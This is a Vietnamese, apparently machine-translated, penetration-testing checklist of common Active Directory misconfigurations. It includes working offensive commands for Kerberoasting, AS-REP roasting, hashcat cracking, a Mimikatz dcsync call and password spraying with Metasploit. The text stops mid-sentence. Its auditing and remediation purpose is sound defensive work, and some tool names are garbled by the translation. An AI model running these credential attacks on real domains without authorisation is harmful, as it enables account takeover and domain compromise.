Hầu hết các tổ chức và doanh nghiệp trên toàn thế giới ngày nay sử dụng Active Directory trong cơ sở hạ tầng của họ làm giải pháp quản lý trung tâm để quản lý tài nguyên của họ.Nhưng như bất kỳ công nghệ tương tự nào khác, Active Directory rất phức tạp và đảm bảo nó đòi hỏi nỗ lực và nhiều năm kinh nghiệm đáng kể.Giới thiệuThông tin sau đây nhằm giúp người kiểm tra thâm nhập và kiểm toán viên xác định các vấn đề liên quan đến bảo mật điển hình khi quản lý môi trường Active Directory.Trong các bước về cách tìm kiếm từng lỗ hổng trên thực tế từ góc độ của người kiểm tra thâm nhập, sử dụng bộ công cụ tấn công tiêu chuẩn và các công cụ có sẵn.Top 16 lỗ hổng Active DirectoryDanh sách này bao gồm 16 vấn đề thường được tìm thấy trong các thử nghiệm thâm nhập cơ sở hạ tầng nội bộ và đánh giá lỗ hổng. Không có gì quá phức tạp hoặc mới mẻ, chỉ đơn giản là một danh sách các vấn đề điển hình.Danh sách này được sắp xếp một cách ngẫu nhiên – do đó nó giống như một danh sách kiểm tra hơn là danh sách xếp hạng theo thứ tự.Chúng ta hãy tìm hiểu nào!1. Người dùng có quyền thêm máy tính vào miềnTrong bản cài đặt mặc định của Active Directory, bất kỳ người dùng miền nào cũng có thể thêm các máy trạm vào miền. Điều này được xác định bởi thuộc tính ms-DS-MachineAccountQuota, theo mặc định được đặt thành 10.Điều này có nghĩa là bất kỳ người dùng miền đặc quyền thấp nào cũng có thể tham gia tối đa 10 máy tính vào miền. Ok, có lẽ không tuyệt vời, nhưng vấn đề lớn là gì?Vấn đề là cài đặt này cho phép bất kỳ người dùng nào tham gia vào máy tính không được quản lý của chúng tôi để truy cập vào miền công ty với các ưu điểm sau:Không có giải pháp chống vi-rút hoặc EDR sẽ được đẩy vào máy của họKhông có cài đặt hoặc chính sách GPO nào sẽ được áp dụng cho hệ thống của họCho phép họ có quyền Quản trị trên hệ thống của họTrong môi trường doanh nghiệp, người dùng không bao giờ nên có đặc quyền quản trị cục bộ trên máy của mình. Đây là một trong những kiểm soát bảo mật cơ bản cần được áp dụng phổ biến.Nếu người dùng có đặc quyền quản trị trên máy của họ, họ có thể thực hiện các hoạt động đặc quyền trên mạng như gói mạng thô thủ công, thực hiện quét mạng, chạy khai thác từ máy của họ để tấn công các hệ thống khác trên mạng và nhiều thứ khác.Do đó, người dùng không bao giờ được phép tham gia các máy tính vào miền.Cách kiểm traCách dễ nhất để kiểm tra điều này là có một máy kiểm tra Windows (vật lý hoặc VM) được kết nối với mạng công ty mục tiêu để nó có thể tiếp cận với các bộ điều khiển miền.1) Chạy ‘sysdm.cpl’ để mở ‘System Properties’ -> nhấp vào ‘Change’ và cung cấp tên miền đích:Nhấp ‘OK’2) Bây giờ chúng tôi sẽ được nhắc về thông tin đăng nhập. Cung cấp bất kỳ thông tin người dùng tên miền đặc quyền thấp.Nếu thành công, chúng ta sẽ thấy tin nhắn “Welcome to the org.local domain!” và máy kiểm tra của tôi được thêm vào AD trong hộp chứa CN = Máy tính. Ngoài ra, chúng tôi cũng có thể tham gia máy thử nghiệm của mình vào AD bằng lệnh PowerShell sau:add-computer –domainname -Credential \ -restart –force# Exampleadd-computer –domainname org.local -Credential ORG\john -restart –forceSau khi khởi động lại máy thử nghiệm của chúng tôi, máy sẽ được nối hoàn toàn vào miền.3) Bây giờ chúng tôi sẽ có thể xác minh rằng máy tính của chúng tôi đã thực sự được thêm vào miền bằng cách liệt kê các máy tính miền.Lưu ý rằng nếu chúng tôi có quyền truy cập vào bộ điều khiển miền, đây là cách chúng tôi có thể liệt kê tất cả các máy tính được thêm bởi người không phải quản trị viên:Import-Module ActiveDirectoryGet-ADComputer -LDAPFilter "(ms-DS-CreatorSID=*)" -Properties ms-DS-CreatorSID2. AdminCount được đặt cho người dùng thông thườngThuộc tính AdminCount trong Active Directory được sử dụng để bảo vệ người dùng quản trị và các thành viên của nhóm đặc quyền, chẳng hạn như:Quản trị viên tên miềnQuản trị viên doanh nghiệpQuản trị viên SchemaToán tử dự phòngNgười vận hành máy chủMáy sao chépv.vCác hoạt động bên trong liên quan đến nó là một chủ đề phức tạp liên quan đến đối tượng AdminSDHolder và quy trình SDProp, thứ sửa đổi các tài khoản đó theo định kỳ. Để rút ngắn câu chuyện dài, không bao giờ nên đặt thuộc tính AdminCount cho người dùng thông thường, vì nó có thể cung cấp cho họ các đặc quyền cao không cần thiết.httVí dụ, điều này có thể ngăn người dùng áp dụng Chính sách nhóm và sửa đổi ACL của công ty, hoặc mặt khác, nó có thể dẫn đến việc gán cho họ các đặc quyền cao (xem vectơ tấn công bền bỉ được mô tả ở đây ). Trong mọi trường hợp, điều này thể hiện nguy cơ có những người dùng có backback trực tiếp trong tổ chức mà không biết về nó.Vấn đề là thuộc tính AdminCount được tự động đặt thành 1 khi người dùng được gán cho bất kỳ nhóm đặc quyền nào, nhưng nó không bao giờ tự động bị hủy khi người dùng bị xóa khỏi (các) nhóm này.Điều này có thể dẫn đến việc có những người dùng thông thường có đặc quyền thấp có AdminCount được đặt thành 1 mà không phải là thành viên của bất kỳ nhóm đặc quyền nào.Cách kiểm traĐể tìm người dùng có thuộc tính AdminCount được đặt thành 1, chúng tôi có thể sử dụng công cụ LDAPDomainDump . Công cụ này thu thập thông tin quan trọng về tất cả người dùng, nhóm và máy tính trong miền. Tất cả những gì chúng ta cần là thông tin đăng nhập của bất kỳ người dùng miền đặc quyền thấp nào và khả năng tiếp cận cổng LDAP của bất kỳ bộ điều khiển miền nào.Đây là những gì cần làm:1) Đầu tiên thu thập thông tin từ bộ điều khiển miền:python ldapdomaindump.py -u \ -p -d # Example:python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1Lưu ý rằng thay vì mật khẩu, chúng tôi cũng có thể cung cấp hàm băm NTLM (pass-the-hash).2) Sau khi kết thúc việc bán phá giá, chúng tôi có thể lấy danh sách người dùng có thuộc tính AdminCount được đặt thành 1 bằng cách phân tích tệp ‘domain_users.json’:jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.jsonNgoài ra, nếu chúng tôi có quyền truy cập vào bộ điều khiển miền, chúng tôi có thể nhận được danh sách những người dùng như thế này:Import-Module ActiveDirectoryGet-AdObject -ldapfilter "(admincount=1)" -properties admincountKhi chúng tôi có danh sách người dùng bị ảnh hưởng, chúng tôi nên kiểm tra xem họ có thực sự thuộc về bất kỳ nhóm hành chính hoặc đặc quyền nào không.3. Các nhóm đặc quyền có số lượng thành viên cao Lỗ hổng này là về việc có quá nhiều người dùng trong các nhóm đặc quyền như:Quản trị viên tên miềnQuản trị viên SchemaQuản trị viên doanh nghiệpCó số lượng người dùng cao trong các nhóm đặc quyền làm tăng nguy cơ kiểm soát tên miền một cách không cần thiết, bởi vì nếu một số người dùng đó bị xâm phạm, điều đó có nghĩa là kiểm soát hoàn toàn với tên miền.Không chỉ thận trọng, nó thực sự cần thiết để tuân theo các nguyên tắc ít đặc quyền nhất và chỉ giao quyền thành viên cho các nhóm này khi thực sự cần thiết, điều này là lý tưởng không bao giờ.Chúng tôi đã thấy triển khai quảng cáo với số người dùng không trong các nhóm này và họ đã làm việc tốt. Nó có thể được thực hiện.Cách kiểm traĐể kiểm tra điều này, chúng tôi chỉ cần tài khoản miền đặc quyền thấp.Dưới đây là cách liệt kê các nhóm này từ một miền đã tham gia máy Windows:net group "Schema Admins" /domainnet group "Domain Admins" /domainnet group "Enterprise Admins" /domainTrên máy Windows chưa tham gia, trước tiên chúng tôi sẽ phải xác thực tên miền:runas /netonly /user:\ cmd.exeDưới đây là cách chúng tôi có thể kiểm tra điều này từ Linux (ví dụ: Kali Linux) bằng cách sử dụng lệnh ‘net’:net rpc group members 'Schema Admins' -I -U ""%""net rpc group members 'Domain Admins' -I -U ""%""net rpc group members 'Enterprise Admins' -I -U ""%""# Example:net rpc group members 'Domain Admins' -I 10.10.30.52 -U "john"%"pass123"Nếu có quá nhiều người dùng trong bất kỳ nhóm nào, cần phải làm gì đó về điều đó.4. Tài khoản dịch vụ là thành viên của Quản trị viên tên miềnÝ tưởng đằng sau tài khoản dịch vụ là chỉ định một tài khoản người dùng cụ thể với các đặc quyền cụ thể để chạy một dịch vụ cụ thể (hoặc một ứng dụng), mà không yêu cầu cung cấp cho nó đầy đủ các đặc quyền quản trị.Vấn đề là khi các tài khoản này được gán các đặc quyền và / hoặc tư cách thành viên được chỉ định, như được thêm vào nhóm Quản trị viên tên miền tên lửa chẳng hạn.Thực tiễn như vậy gây ra rủi ro nghiêm trọng cho cơ sở hạ tầng, bởi vì tài khoản dịch vụ thường có mật khẩu được đặt thành không bao giờ hết hạn và do đó mật khẩu của chúng hiếm khi được thay đổi, nếu có.Điều này có nghĩa là nếu tài khoản dịch vụ dễ bị tổn thương như vậy bị xâm phạm, nó sẽ cho phép kẻ tấn công có toàn quyền kiểm soát miền AD. Và có lẽ trong một thời gian dài.Cách kiểm traChỉ cần xem lại tất cả các thành viên thuộc các nhóm đặc quyền:net group "Schema Admins" /domainnet group "Domain Admins" /domainnet group "Enterprise Admins" /domainTrên Linux, chúng ta có thể sử dụng lệnh ‘net’ như thể hiện trong lỗ hổng trước đó.Nếu có bất kỳ tài khoản dịch vụ nào trong bất kỳ nhóm nào trong số này, chúng tôi nên gắn cờ nó.5. Đặc quyền quá mức cho phép quản trị viên tên miền mờ ámLỗ hổng này phức tạp hơn. Đó là về việc lạm dụng Quyền Active Directory và Quyền mở rộng , còn gọi là Mục kiểm soát truy cập (ACE).Vấn đề là khi một số quyền này được trao cho người dùng đặc quyền thấp (hoặc một nhóm) để cho phép thay đổi điều gì đó quan trọng đối với người dùng đặc quyền cao hơn (hoặc một nhóm).Một số quyền thường bị lạm dụng bao gồm:ForceChangePassword – Khả năng đặt lại mật khẩu của người dùng khácGenericAll – Toàn quyền kiểm soát đối tượng (đọc / ghi)GenericWrite – Cập nhật mọi thuộc tính của đối tượngWriteOwner – Giả sử quyền sở hữu đối tượngWriteDacl – Sửa đổi DACL của một đối tượngSelf – Tự sửa đổiNhững điều này có thể có tác động quan trọng và thường dẫn đến các đặc quyền của Quản trị viên tên miền. Do đó, người dùng có các đặc quyền quá mức như vậy được gọi là Quản trị viên tên miền mờ ám (hoặc Quản trị viên ẩn).Đây là bài viết rất hay mô tả vấn đề này chi tiết hơn và với các ví dụ:https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-acesCách kiểm tra1) Trước tiên, chúng tôi đã sử dụng một “ingestor” trực tiếp để thu thập dữ liệu từ môi trường AD – ví dụ: SharpHound .2) Sau đó, chúng tôi tải dữ liệu lên GUI giao diện người dùng Bloodhound nơi chúng tôi có thể hình dung mối quan hệ giữa các đối tượng.Ngôn ngữ truy vấn Bloodhound sau đó cho phép chúng ta tìm các đường dẫn như trong ví dụ này:Khi chúng tôi đang tìm kiếm các quyền này và tin tưởng vào các cấu hình sai, chúng tôi thường sẽ bắt đầu với các truy vấn được xây dựng trước như:Tìm kiếm 10 người dùng hàng đầu với hầu hết các quyền quản trị địa phươngBạn tìm đường dẫn ngắn nhất tới quản trị viên tên miềnBản đồ miền tin tưởngv.vÝ tưởng là tìm đường dẫn đến nhóm Quản trị viên tên miền từ vị trí và cấp độ đặc quyền hiện tại của chúng tôi.Dưới đây là một số truy vấn khác có thể giúp đỡ ( link1 , link2 ).6. Tài khoản dịch vụ dễ bị tấn công bởi KerberoastingKerberoasting là vật chủ chung gian tấn công rất phổ biến nhằm vào các tài khoản dịch vụ trong Active Directory.Vấn đề là khi các tài khoản dịch vụ này có mật khẩu yếu và khi mã hóa Kerberos RC4 yếu được sử dụng để mã hóa mật khẩu của họ.Đây là bài báo gốc (slide) từ Tim Medin – tác giả của Kerberoasting:https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1493862736.pdfCách kiểm traCuộc tấn công này đã được tự động hóa bằng nhiều công cụ (ví dụ: Impquet hoặc Rubeus ) và tất cả những gì chúng tôi cần để thử nghiệm là có bất kỳ thông tin xác thực người dùng miền đặc quyền thấp nào.Dưới đây là một ví dụ sử dụng Impquet:GetUserSPNs.py -request /:# Example:GetUserSPNs.py -request example.com/john:pass123Lưu ý rằng thay vì mật khẩu, chúng tôi cũng có thể sử dụng hàm băm NTLM (pass-the-hash).Nếu chúng tôi thu được bất kỳ giá trị băm nào, điều đó có nghĩa là có các tài khoản dịch vụ dễ bị tấn công.Sau khi chúng tôi có được các giá trị hàm băm, chúng tôi có thể cố gắng bẻ khóa chúng để thể hiện đầy đủ tác động. Đây là một ví dụ về việc sử dụng Hashcat để thực hiện một cuộc tấn công từ điển:Đây là những gì chúng tôi nên tư vấn cho khách hàng của mình khi nói đến việc bảo vệ tài khoản dịch vụ chống lại Kerberoasting:Sử dụng các thuật toán mã hóa mới hơn như AES128, AES256 hoặc tốt hơnCho phép sử dụng mật khẩu mạnh và phức tạp (độ dài lý tưởng hơn 25 ký tự)Đảm bảo mật khẩu của họ hết hạn theo định kỳGiữ đặc quyền của họ càng thấp càng tốt7. Người dùng có mật khẩu không giới hạnChủ yếu là do sự thuận tiện, một số tổ chức có tài khoản miền được định cấu hình với cờ DONT_EXPIRE_PASSWORD được đặt.Đây là cấu hình điển hình của tài khoản dịch vụ, nhưng đôi khi cũng có thể được nhìn thấy trên các tài khoản miền đặc quyền hơn.Điều này có nghĩa là mật khẩu của họ sẽ không bao giờ hết hạn. Mặc dù nó hữu ích / thuận tiện trong một số tình huống, nó cũng có thể gây hại khá nhiều.Các tài khoản miền có đặc quyền cao với mật khẩu không hết hạn là mục tiêu lý tưởng cho các cuộc tấn công leo thang đặc quyền và là những người dùng phổ biến trên backback, để duy trì quyền truy cập, ví dụ như các nhóm APT.Cách kiểm traĐể tìm người dùng có mật khẩu không hết hạn, chúng tôi có thể sử dụng lại công cụ LDAPDomainDump đã đề cập trước đó. Tất cả những gì chúng ta cần là thông tin xác thực người dùng miền đặc quyền thấp và khả năng tiếp cận cổng LDAP của bất kỳ bộ điều khiển miền nào.Dưới đây là các bước:1) Đầu tiên thu thập thông tin từ bộ điều khiển miền:python ldapdomaindump.py -u \ -p -d # Example:python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.12) Sau khi kết thúc việc bán phá giá, chúng tôi có thể nhận được danh sách người dùng có mật khẩu không hết hạn bằng lệnh sau:grep DONT_EXPIRE_PASSWD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}'Ngoài ra, lệnh PowerShell sau đây có thể được sử dụng trên bộ điều khiển miền để lấy danh sách những người dùng đó:Import-Module ActiveDirectoryGet-ADUser -filter * -properties Name, PasswordNeverExpires | where { $_.passwordNeverExpires -eq "true" } | where {$_.enabled -eq "true" }8. Người dùng không cần mật khẩuMột cờ thú vị khác trong Active Directory là cờ PASSWD_NOTREQD. Nếu tài khoản người dùng được đặt cờ này, điều đó có nghĩa là tài khoản đó không phải có mật khẩu.Điều này không có nghĩa là tài khoản người dùng không có mật khẩu, đơn giản là nó không cần phải có mật khẩu. Điều đó có nghĩa là bất kỳ loại mật khẩu nào cũng sẽ ổn – một mật khẩu ngắn, không tuân thủ (đối với chính sách mật khẩu tên miền) hoặc mật khẩu trống. Đơn giản là bất kỳ.Tất nhiên đây là một rủi ro bảo mật rất lớn và không có tài khoản người dùng nào nên đặt cờ này.Cách kiểm traTìm kiếm người dùng với bộ cờ PASSWD_NOTREQD rất giống với tìm kiếm người dùng có mật khẩu không hết hạn. Chúng ta lại có thể tận dụng công cụ LDAPDomainDump .Tất cả những gì chúng ta cần là thông tin xác thực người dùng miền đặc quyền thấp và khả năng tiếp cận cổng LDAP của bất kỳ bộ điều khiển miền nào.1)Đầu tiên thu thập thông tin từ bộ điều khiển miền:python ldapdomaindump.py -u \ -p -d # Example:python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.12)Sau khi kết thúc việc bán phá giá, hãy lấy danh sách người dùng có cờ PASSWD_NOTREQD bằng lệnh sau:grep PASSWD_NOTREQD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}'Ngoài ra, lệnh PowerShell sau đây có thể được sử dụng trên bộ điều khiển miền để lấy danh sách người dùng không cần mật khẩu:Import-Module ActiveDirectoryGet-ADUser -Filter {UserAccountControl -band 0x0020}9. Lưu trữ mật khẩu bằng mã hóa có thể đảo ngượcMột số ứng dụng yêu cầu mật khẩu của người dùng bằng văn bản thuần túy để thực hiện xác thực và đây là lý do tại sao có hỗ trợ lưu trữ mật khẩu bằng mã hóa đảo ngược trong Active Directory.Lưu trữ mật khẩu theo cách này về cơ bản là giống như lưu trữ chúng trong văn bản thuần túy. Đó là một ý tưởng khủng khiếp, nhưng đó là thực tế.Yếu tố giảm thiểu duy nhất ở đây là kẻ tấn công sẽ phải có khả năng lấy dữ liệu mật khẩu từ bộ điều khiển miền để đọc mật khẩu bằng văn bản thuần túy. Điều này có nghĩa là có một trong hai:Quyền thực hiện hoạt động DCSYNC (ví dụ: thông qua Mimikatz)Truy cập vào tệp NTDS.DIT trên bộ điều khiển miềnCách kiểm traCả hai phương pháp đều ngụ ý một sự thỏa hiệp miền AD đầy đủ, vì vậy nó không thực sự là một thảm họa như vậy.Không có điều đó, không có cách nào để tìm ra người dùng nào có mật khẩu được lưu trữ bằng cách sử dụng mã hóa đảo ngược. Và ngay cả khi chúng tôi biết cái nào, chúng tôi sẽ không thể rút mật khẩu ra, trừ khi chúng tôi có đặc quyền cao đến mức chúng tôi thực sự sở hữu miền AD.Vì vậy, để kiểm tra lỗ hổng này, chúng ta phải kết xuất tệp NDTS.DIT từ bộ điều khiển miền và trích xuất các giá trị hàm băm từ nó. Chỉ sau đó chúng ta mới có thể thấy người dùng nào có mật khẩu được lưu trữ bằng mã hóa đảo ngược – mật khẩu của họ sẽ được in đơn giản bằng văn bản thuần túy.Lưu ý rằng chúng tôi cũng có thể lấy mật khẩu văn bản đơn giản bằng Mimikatz đang chạy trong bối cảnh người dùng có đặc quyền cao (người có thể thực hiện DCSYNC), nhưng chúng tôi sẽ phải biết tên người dùng của người dùng bị ảnh hưởng.Đây là lệnh Mimikatz sẽ làm điều đó: mimikatz # lsadump::dcsync /domain: /user:# Example:mimikatz # lsadump::dcsync /domain:example.com /user:poorjohnTrong mọi trường hợp, mật khẩu không bao giờ nên được lưu trữ trong một văn bản đơn giản. Lỗ hổng này cho phép những kẻ tấn công xâm phạm miền AD (ví dụ APT) và những người trong cuộc có đặc quyền cao (ví dụ: quản trị viên tên miền) truy cập ngay vào mật khẩu văn bản đơn giản của người dùng bị ảnh hưởng.10. Lưu trữ mật khẩu bằng cách sử dụng hàm băm LMMột lỗ hổng khác thường xuất hiện sau lỗ hổng Active Directory là lưu trữ mật khẩu dưới dạng hàm băm LM, thay vì NTLM.Hàm băm LM là một phương pháp lưu trữ mật khẩu cũ không còn tồn tại, có những điểm yếu sau:Độ dài mật khẩu được giới hạn trong 14 ký tựMật khẩu dài hơn 7 ký tự được chia thành hai và mỗi nửa được băm riêngTất cả các ký tự chữ thường được chuyển thành chữ hoa trước khi bămDo những điểm yếu này, hàm băm LM cực kỳ dễ bị bẻ khóa. Bất cứ ai có quyền truy cập vào chúng, ví dụ người trong cuộc có đặc quyền cao (quản trị viên tên miền), có thể dễ dàng bẻ khóa chúng và lấy mật khẩu văn bản đơn giản.Cách kiểm traNhư đã chỉ ra ở trên, vấn đề này thường được tiết lộ sau khi AD bị xâm phạm và các tệp NTDS.DIT được trích xuất .Dưới đây là một bản giới thiệu nhanh về hàm băm LM và NTLM:Khi phần LM được đặt thành một cái gì đó không phải là ‘aad3b435b51404eeaad3b435b51404ee’ (chuỗi trống), điều đó có nghĩa là chúng ta đang tìm kiếm một hàm băm LM.Vì vậy, đây là cách chúng ta có thể xác định hàm băm LM:grep -iv ':aad3b435b51404eeaad3b435b51404ee:' dumped_hashes.txt11. Tài khoản dịch vụ dính lỗ hổng AS-REP roastingLỗ hổng này rất giống với Kerberoasting, nhưng trong trường hợp này, cuộc tấn công lạm dụng các tài khoản người dùng không yêu cầu xác thực trước Kerberos.Nói một cách đơn giản, nó ảnh hưởng đến người dùng tên miền với bộ cờ DONT_REQ_PREAUTH.Đây là một bài viết chi tiết về AS-REP roasting:https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/Cách kiểm traTương tự như Kerberoasting, cuộc tấn công này đã được tự động hóa bằng nhiều công cụ (ví dụ: Impquet hoặc Rubeus ). Nhưng có một số khác biệt tinh tế ..Để kiểm tra rang AS-REP, chúng tôi không phải biết bất kỳ thông tin xác thực người dùng tên miền nào! Điều duy nhất chúng ta cần biết là người dùng nào bị ảnh hưởng.Nếu chúng ta không biết gì, thì chúng ta có thể thử một danh sách từ với tên người dùng như trong ví dụ này với Impquet:GetNPUsers.py / -usersfile -format [hashcat|john] -no-pass# Example:GetNPUsers.py example.com/ -usersfile userlist.txt -format hashcat -no-passMặt khác, nếu chúng tôi sở hữu bất kỳ thông tin xác thực người dùng tên miền đặc quyền thấp nào, chúng tôi có thể có được danh sách người dùng bị ảnh hưởng ngay lập tức, cùng với hàm băm Kerberos AS-REP của họ. Đây là cách thực hiện:GetNPUsers.py /: -request -format [hashcat|john]# Example:GetNPUsers.py example.com/john:pass123 -request -format hashcatNếu chúng tôi nhận được một số hàm băm, chúng tôi có một điều cần báo cáo và chúng tôi có thể cố gắng bẻ khóa chúng.Dưới đây là một ví dụ với Hashcat sử dụng một cuộc tấn công từ điển để bẻ khóa hàm băm Kerberos AS-REP:hashcat -m 18200 -a 0 hashes.txt wordlist.txt# Faster with optimized kernels, but limited password length to 31 characters:hashcat -m 18200 -a 0 -O --self-test-disable hashes.txt wordlist.txtNgoài ra, lệnh PowerShell sau đây có thể được sử dụng trên bộ điều khiển miền để lấy danh sách người dùng không yêu cầu xác thực trước Kerberos:Import-Module ActiveDirectoryGet-ADuser -filter * -properties DoesNotRequirePreAuth | where {$._DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name12. Chính sách mật khẩu tên miền yếuChính sách mật khẩu là một chủ đề liên tục phát triển theo thời gian. Có nhiều quan điểm khác nhau về nó và ý kiến về một chính sách mật khẩu lý tưởng sẽ như thế nào.Một số tổ chức thực thi mật khẩu dài và phức tạp, thay đổi chúng thường xuyên. Một số người tốt bụng hơn và một số thậm chí gần như có thể coi thường việc thực thi các tham số mật khẩu mạnh và chỉ tập trung vào việc tăng cường kiểm soát bù trừ trong môi trường bên trong của họ, do đó, việc thỏa hiệp tài khoản chỉ có tác động rất nhỏ.Mỗi cách tiếp cận chắc chắn đều có những ưu điểm và nhược điểm, nhưng khi kiểm tra thâm nhập, chúng ta nên tuân thủ một điều gì đó thận trọng và thường được chấp nhận, mặc dù các khách hàng cuối cùng có thể thực hiện cuộc gọi của riêng họ.Chẳng hạn, Điểm chuẩn CIS khuyến nghị chính sách mật khẩu Active Directory sau:Độ dài mật khẩu tối thiểu: 14Thực thi Lịch sử Mật khẩu: 24Tuổi mật khẩu tối đa: 60 ngày trở xuốngTuổi mật khẩu tối thiểu: 1 trở lênMật khẩu phải đáp ứng độ phức tạp: Đã bậtLưu trữ mật khẩu bằng mã hóa đảo ngược: Đã tắtNgưỡng khóa tài khoản: Tối đa 10, nhưng không phải 0Thời hạn khóa tài khoản (phút): 15 phút trở lênCửa sổ quan sát khóa tài khoản (phút): 30 phútCách kiểm traĐể liệt kê chính sách mật khẩu, chúng tôi không cần bất kỳ đặc quyền đặc biệt nào – bất kỳ tài khoản miền đặc quyền thấp nào cũng có thể làm điều này.Đây là cách chúng tôi có thể hiển thị chính sách mật khẩu AD từ một tên miền đã tham gia máy Windows:net accounts /domainDưới đây là cách chúng tôi có thể hiển thị chính sách mật khẩu AD từ Linux (ví dụ: Kali Linux) bằng cách sử dụng lệnh ‘polenum’:polenum --username --password --domain # Example:polenum --username john --password pass123 --domain 10.10.51.11Ngoài ra, chúng tôi cũng có thể sử dụng tiện ích ‘enum4linux’:enum4linux -P -u -p -w # Example:enum4linux -P -u john -p pass123 -w dom.local 172.21.1.6013. Tài khoản miền không hoạt độngLỗ hổng này là về việc có tài khoản người dùng hoạt động mà không được sử dụng trong một thời gian dài, theo ‘Ngày đăng nhập cuối cùng’ của họ. Các tài khoản này thường thuộc về:Nhân viên rời công tyTài khoản tạm thờiTài khoản kiểm traCó các tài khoản miền không được sử dụng trong miền làm tăng bề mặt tấn công của tổ chức, vì nó cung cấp cơ hội để thỏa hiệp các tài khoản này, ví dụ như thông qua các cuộc tấn công đăng nhập.Cần có một cơ chế (chính sách) để vô hiệu hóa hoặc xóa các tài khoản này dựa trên kiểm tra định kỳ, ví dụ sau 30 ngày không hoạt động. Mileage có thể khác nhau tất nhiên ở đây.Cách kiểm traĐể tìm tài khoản miền không hoạt động, một lần nữa chúng ta có thể tận dụng công cụ LDAPDomainDump đã đề cập trước đó.Tất cả những gì chúng ta cần là thông tin xác thực người dùng miền đặc quyền thấp và khả năng tiếp cận cổng LDAP của bất kỳ bộ điều khiển miền nào. Đây là những gì để làm:1) Đầu tiên thu thập thông tin từ bộ điều khiển miền:python ldapdomaindump.py -u \ -p -d # Example:python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.12) Sau khi kết thúc việc bán phá giá, hãy sắp xếp người dùng dựa trên ngày đăng nhập cuối cùng của họ bằng lệnh sau:sort -t ';' -k 8 domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3, $8}'Nếu chúng ta thấy một cái gì đó tương tự (FYI là năm 2020 tại thời điểm viết bài này), chúng ta nên thông báo cho khách hàng.14. Người dùng đặc quyền đã quá hạn đặt lại mật khẩuLỗ hổng này là về việc người dùng quản trị và đặc quyền cao được cấu hình với một mật khẩu trong một thời gian rất dài, ví dụ như trong nửa năm trở lên.Tại sao điều này là một vấn đề?Các tài khoản đặc quyền có khả năng là mục tiêu cho những kẻ tấn công (ví dụ: APT) và nếu mật khẩu của chúng không được thay đổi định kỳ, nó sẽ cho những kẻ tấn công đủ thời gian để bắt bẻ thành công thông tin đăng nhập của chúng.Như đã đề cập trước đó, tất cả các tài khoản đặc quyền và tài khoản dịch vụ nên thay đổi mật khẩu thường xuyên.Cách kiểm traLàm thế nào để xác định chính xác một người dùng đặc quyền? Một chỉ số rất tốt là thuộc tính AdminCount mà chúng ta đã đề cập trước đó. Vì vậy, tất cả những gì chúng ta cần làm là lấy danh sách những người dùng này và xem lần cuối họ thay đổi mật khẩu là lần cuối cùng.Nghe có vẻ hơi phức tạp, nhưng với công cụ LDAPDomainDump đã đề cập trước đó, đó là một miếng bánh. Tất cả những gì chúng ta cần là thông tin đăng nhập của bất kỳ người dùng miền đặc quyền thấp nào và khả năng tiếp cận cổng LDAP của bất kỳ bộ điều khiển miền nào.Đây là những gì để làm ..1) Đầu tiên thu thập thông tin từ bộ điều khiển miền:python ldapdomaindump.py -u \ -p -d # Example:python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.12) Sau khi kết thúc việc bán phá giá, hãy lấy danh sách người dùng có thuộc tính AdminCount được đặt thành 1 bằng cách phân tích tệp ‘domain_users.json’:jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json > privileged_users.txt3) Bây giờ lặp qua danh sách người dùng đặc quyền, hiển thị ngày đặt lại mật khẩu cuối cùng của họ (pwdLastSet) và sắp xếp nó:while read user; do grep ";${user};" domain_users.grep; done < privileged_users.txt | \ grep -v ACCOUNT_DISABLED | sort -t ';' -k 10 | awk -F ';' '{print $3, $10}'Có vẻ như 5 người dùng đặc quyền đó đã không thay đổi mật khẩu trong một thời gian dài.15. Người dùng có mật khẩu yếuMặc dù có chính sách mật khẩu doanh nghiệp mạnh và môi trường trưởng thành, vẫn có thể có các tài khoản miền có mật khẩu yếu.Trên thực tế, đây là vấn đề rất phổ biến, đặc biệt là trong môi trường Active Directory lớn.Cách kiểm traĐể kiểm tra người dùng tên miền về thông tin xác thực yếu, trước tiên chúng tôi phải có danh sách người dùng. Và để có được danh sách, chúng tôi phải có quyền truy cập của người dùng đặc quyền thấp vào miền.Đây là những gì chúng ta có thể làm trên một miền gia nhập máy Windows:1) Trước tiên, chúng tôi cần nhận danh sách người dùng từ AD và chúng tôi có thể sử dụng kết hợp PowerShell sau:$a = [adsisearcher]”(&(objectCategory=person)(objectClass=user))”$a.PropertiesToLoad.add(“samaccountname”) | out-null$a.PageSize = 1$a.FindAll() | % { echo $_.properties.samaccountname } > users.txt2) Bây giờ chúng tôi có thể đưa danh sách này vào bất kỳ công cụ nào sau đây để thực hiện tấn công đăng nhập:Mô-đun PowerShell của DomainPasswordSpray.ps1Mô-đun PowerShell của Invoke-BruteForce.ps1Máy quét Metasploit smb_loginKịch bản NSE ldap-bruteCông cụ CrackMapExecCông cụ MedusaCông cụ NcrackCông cụ HydraNgoài ra, chúng tôi cũng có thể sử dụng AD login bruteforcer ( github ) trong trường hợp cần thiết:Import-Module ./adlogin.ps1adlogin users.txt domain.com password123Đây là cách chúng ta có thể làm điều tương tự trên Linux (ví dụ: Kali Linux):1) Nhận danh sách người dùng miền AD sử dụng lệnh ‘net’:net rpc group members 'Domain Users' -I -U ""%""Example:net rpc group members 'Domain Users' -I 192.168.10.50 -U "john"%"pass123" > users.txt2) Bây giờ chúng tôi có thể đưa nó vào bất kỳ công cụ nào đã nói ở trên, ví dụ như Metasploit để thực hiện tấn công đăng nhập:use auxiliary/scanner/smb/smb_loginset RHOSTS set SMBDomain set SMBPass file:pwdlist.txtset USER_FILE users.txtset THREADS 5runCẢNH BÁO : Trước khi chạy bất kỳ cuộc tấn công đăng nhập nào, chúng ta nên luôn luôn biết về chính sách mật khẩu của công ty để ngăn chặn việc khóa người 